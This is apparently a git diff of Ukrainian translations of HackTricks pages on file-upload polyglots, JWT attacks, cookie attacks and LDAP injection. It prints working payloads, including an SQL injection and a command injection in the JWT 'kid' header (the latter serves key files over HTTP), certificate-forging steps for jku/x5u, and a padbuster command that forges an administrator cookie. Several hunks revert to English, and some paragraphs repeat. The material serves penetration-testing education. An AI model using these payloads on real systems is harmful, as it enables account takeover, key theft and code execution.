Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації за адресою: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,23 +329,23 @@ pop graphic-context
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
<summary>Support HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,21 @@
# JWT Вразливості (Json Web Tokens)
# Уразливості JWT (Json Web Tokens)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -26,7 +26,7 @@
### **Швидкі перемоги**
Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте на зелені рядки.
Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте зелених рядків.
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -48,7 +48,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
#### **Чи перевіряється токен?**
Щоб перевірити, чи підпис JWT перевіряється:
Щоб перевірити, чи перевіряється підпис JWT:
* Повідомлення про помилку вказує на те, що триває перевірка; чутливі деталі у детальних помилках слід переглянути.
* Зміна на повернутій сторінці також вказує на перевірку.
@ -103,7 +103,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
* Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком.
* **Моніторинг HTTP-взаємодії**:
* Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання.
* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим розташуванням JWKS для полегшення тестування.
* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим місцем розташування JWKS для полегшення тестування.
* **Команда для `jwt_tool`**:
* Виконайте наступну команду, щоб змоделювати сценарій з `jwt_tool`:
@ -121,34 +121,34 @@ python3 jwt_tool.py JWT_HERE -X s
#### Перехід по шляху з "kid"
Заява `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
Заява `kid` також може бути використана для навігації по файловій системі, потенційно дозволяючи вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Націлюючись на файли з передбачуваним вмістом, можна підробити дійсний JWT. Наприклад, файл `/proc/sys/kernel/randomize_va_space` в системах Linux, відомий тим, що містить значення **2**, можна використовувати в параметрі `kid` з **2** як симетричним паролем для генерації JWT.
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
#### SQL-ін'єкція через "kid"
#### SQL Injection via "kid"
Якщо вміст заяви `kid` використовується для отримання пароля з бази даних, SQL-ін'єкція може бути здійснена шляхом модифікації корисного навантаження `kid`. Приклад корисного навантаження, яке використовує SQL-ін'єкцію для зміни процесу підписання JWT, включає:
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Ця зміна змушує використовувати відомий секретний ключ, `ATTACKER`, для підписання JWT.
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS-ін'єкція через "kid"
#### OS Injection through "kid"
Сценарій, в якому параметр `kid` вказує на шлях до файлу, що використовується в контексті виконання команди, може призвести до вразливостей віддаленого виконання коду (RCE). Впроваджуючи команди в параметр `kid`, можна розкрити приватні ключі. Приклад корисного навантаження для досягнення RCE та розкриття ключа:
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u та jku
### x5u and jku
#### jku
jku означає **JWK Set URL**.\
Якщо токен використовує заяву “**jku**” **Header**, тоді **перевірте наданий URL**. Це має вказувати на URL, що містить файл JWKS, який містить публічний ключ для перевірки токена. Змініть токен, щоб вказати значення jku на веб-сервіс, за яким ви можете моніторити трафік.
jku stands for **JWK Set URL**.\
If the token uses a “**jku**” **Header** claim then **перевірте надане URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
Спочатку вам потрібно створити новий сертифікат з новими приватними та публічними ключами.
First you need to create a new certificate with new private & public keys
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -167,9 +167,9 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у формі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати кожен підписує попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у форматі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати підписують попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **зможете підробити JWT**.
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **можете підробити JWT**.
Щоб підробити новий токен, використовуючи сертифікат, контрольований вами, вам потрібно створити сертифікат і витягти публічні та приватні ключі:
```bash
@ -188,7 +188,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../.gitbook/assets/image (1119).png>)
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, то, по суті, підроблений токен буде прийнятий сервером.
Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, тоді, по суті, підроблений токен буде прийнятий сервером.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -248,11 +248,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторити отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що для більш широкого тестування може знадобитися дозвіл, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
**Перевірка терміну дії токенів**
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. RFC JWT рекомендує пом'якшувати атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг міток часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
* Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.
@ -260,19 +260,19 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та в тому, щоб зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте хакерство AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте хакерство GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -29,13 +29,13 @@ Cookies мають кілька атрибутів, які контролюют
### Path
Конкретний URL-адрес, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також у підкаталогах.
Конкретний URL-адреса, яка повинна бути присутня в запитуваній URL-адресі, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також підкаталогам.
### Ordering Rules
Коли два cookie мають однакову назву, вибір того, який буде надіслано, базується на:
* Cookie, що відповідає найдовшому шляху в запитуваному URL.
* Cookie, що відповідає найдовшому шляху в запитуваній URL-адресі.
* Найновішому встановленому cookie, якщо шляхи ідентичні.
### SameSite
@ -73,7 +73,7 @@ Cookie з атрибутом _**SameSite**_ **зменшить атаки CSRF**
* Якщо сторінка **надсилає cookie у відповідь** на запити (наприклад, на сторінці **PHPinfo**), можна зловживати XSS, щоб надіслати запит на цю сторінку та **вкрасти cookie** з відповіді (перевірте приклад на [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
* Це можна обійти за допомогою **TRACE** **HTTP** запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить надіслані cookie. Цю техніку називають **Cross-Site Tracking**.
* Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обхідні шляхи були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2.
* Цю техніку уникають **сучасні браузери, не дозволяючи надсилати запит TRACE** з JS. Однак деякі обходи цього були знайдені в специфічному програмному забезпеченні, наприклад, надсилаючи `\r\nTRACE` замість `TRACE` до IE6.0 SP2.
* Інший спосіб - це експлуатація вразливостей нульового дня браузерів.
* Можливо **перезаписати cookie HttpOnly**, виконуючи атаку переповнення Cookie Jar:
@ -104,11 +104,11 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
Отже, одне з захистів cookie з префіксом `__Host-` - це запобігання їх перезапису з піддоменів. Запобігання, наприклад, [**Cookie Tossing attacks**](cookie-tossing.md). У доповіді [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) представлено, що було можливо встановити cookie з префіксом \_\_HOST- з піддомену, обманюючи парсер, наприклад, додаючи "=" на початку або на початку і в кінці...:
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie `__HOST-`:
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
@ -116,7 +116,7 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
### Decoding and Manipulating Cookies
Чутливі дані, вбудовані в cookie, завжди повинні бути перевірені. Cookie, закодовані в Base64 або подібних форматах, часто можуть бути декодовані. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, закодовуючи їх змінені дані назад у cookie.
Чутливі дані, вбудовані в cookie, завжди повинні бути перевірені. Cookie, закодовані в Base64 або подібних форматах, часто можуть бути декодовані. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, закодовуючи їх модифіковані дані назад у cookie.
### Session Hijacking
@ -160,7 +160,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Результат у заголовку cookie, що надіслано, є `a=v1; test value; b=v2;`. Цікаво, що це дозволяє маніпулювати cookie, якщо встановлено cookie з порожнім ім'ям, потенційно контролюючи інші cookie, встановлюючи порожній cookie на конкретне значення:
Результат у заголовку cookie, що надсилається, - `a=v1; test value; b=v2;`. Цікаво, що це дозволяє маніпулювати cookie, якщо встановлено cookie з порожнім ім'ям, потенційно контролюючи інші cookie, встановлюючи порожній cookie на конкретне значення:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -170,17 +170,17 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
```
Це призводить до того, що браузер надсилає заголовок cookie, який кожен веб-сервер інтерпретує як cookie з назвою `a` та значенням `b`.
#### Chrome Bug: Проблема з кодовими точками сурогатного Юнікоду
#### Chrome Bug: Проблема з кодовими точками сурогатів Unicode
У Chrome, якщо кодова точка сурогату Юнікоду є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок надалі:
У Chrome, якщо кодова точка сурогата Unicode є частиною встановленого cookie, `document.cookie` стає пошкодженим, повертаючи порожній рядок наступним чином:
```js
document.cookie = "\ud800=meep";
```
Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійну корупцію.
Це призводить до того, що `document.cookie` виводить порожній рядок, що вказує на постійне пошкодження.
#### Викрадення Cookie через проблеми з парсингом
#### Викрадення куків через проблеми з парсингом
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки cookie через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення:
(Дивіться деталі в [оригінальному дослідженні](https://blog.ankursundara.com/cookie-bugs/)) Декілька веб-серверів, включаючи ті, що з Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки куків через застарілу підтримку RFC2965. Вони читають значення кука в подвійних лапках як одне значення, навіть якщо воно містить крапки з комою, які зазвичай повинні розділяти пари ключ-значення:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
@ -198,21 +198,21 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
#### **Основні перевірки**
* **Кук** є **однаковим** щоразу, коли ви **входите** в систему.
* Вийдіть з системи та спробуйте використати той самий кук.
* Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи той самий кук.
* Перевірте, чи містить кук якусь інформацію, і спробуйте змінити його.
* **Кука** є **такою ж** щоразу, коли ви **увійдете**.
* Вийдіть з системи та спробуйте використати ту ж куку.
* Спробуйте увійти з 2 пристроїв (або браузерів) до одного й того ж облікового запису, використовуючи ту ж куку.
* Перевірте, чи кука містить якусь інформацію, і спробуйте її змінити.
* Спробуйте створити кілька облікових записів з майже однаковими іменами користувачів і перевірте, чи можете ви побачити подібності.
* Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте кук **запам'ятати мене** без жодного іншого кука.
* Перевірте, чи працює попередній кук навіть після зміни пароля.
* Перевірте опцію "**запам'ятати мене**", якщо вона існує, щоб дізнатися, як вона працює. Якщо вона існує і може бути вразливою, завжди використовуйте куку **запам'ятати мене** без жодної іншої куки.
* Перевірте, чи попередня кука працює навіть після зміни пароля.
#### **Атаки на куки високого рівня**
#### **Розширені атаки на куки**
Якщо кук залишається тим самим (або майже тим самим) під час входу, це, ймовірно, означає, що кук пов'язаний з якимось полем вашого облікового запису (ймовірно, з іменем користувача). Тоді ви можете:
Якщо кука залишається такою ж (або майже такою ж) під час входу, це, ймовірно, означає, що кука пов'язана з якимось полем вашого облікового запису (ймовірно, ім'ям користувача). Тоді ви можете:
* Спробуйте створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробуйте **вгадати**, як працює алгоритм.
* Спробуйте **брутфорсити ім'я користувача**. Якщо кук зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашого кука, оскільки один з куків, які ви спробуєте, буде належати "**admin**".
* Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст кука). Використовуйте **padbuster**.
* Спробувати створити багато **облікових записів** з дуже **схожими** іменами користувачів і спробувати **вгадати**, як працює алгоритм.
* Спробувати **брутфорсити ім'я користувача**. Якщо кука зберігається лише як метод аутентифікації для вашого імені користувача, тоді ви можете створити обліковий запис з ім'ям користувача "**Bmin**" і **брутфорсити** кожен окремий **біт** вашої куки, оскільки одна з куків, яку ви спробуєте, буде належати "**admin**".
* Спробуйте **Padding** **Oracle** (ви можете розшифрувати вміст куки). Використовуйте **padbuster**.
**Padding Oracle - приклади Padbuster**
```bash
@ -232,7 +232,7 @@ Padbuster зробить кілька спроб і запитає вас, як
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Це виконання надасть вам cookie, правильно зашифрований і закодований зі строкою **user=administrator** всередині.
Це виконання надасть вам cookie, правильно зашифрований та закодований зі строкою **user=administrator** всередині.
**CBC-MAC**
@ -251,11 +251,11 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**Як виявити та атакувати:**
Створіть 2 користувачів з майже однаковими даними (ім'я користувача, пароль, електронна пошта тощо) і спробуйте виявити певний шаблон у наданому cookie.
Створіть 2 користувачів з майже однаковими даними (ім'я користувача, пароль, електронна пошта тощо) і спробуйте виявити певний шаблон у даному cookie.
Створіть користувача, наприклад, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь шаблон у cookie (оскільки ECB шифрує з одним і тим же ключем кожен блок, ті ж зашифровані байти можуть з'явитися, якщо ім'я користувача зашифровано).
Повинен бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви могли б видалити зашифрований шаблон блоку "a" з cookie. І у вас буде cookie імені користувача "admin".
Має бути шаблон (з розміром використаного блоку). Отже, знаючи, як зашифровано купу "a", ви можете створити ім'я користувача: "a"\*(розмір блоку)+"admin". Тоді ви могли б видалити зашифрований шаблон блоку "a" з cookie. І у вас буде cookie імені користувача "admin".
## Посилання

View file

@ -17,7 +17,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -73,7 +73,7 @@
Тоді: `(&(objectClass=`**`*)(ObjectClass=*))`** буде першим фільтром (тим, що виконується).
### Обхід авторизації
### Login Bypass
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захищений.
```bash
@ -134,11 +134,11 @@ password=any
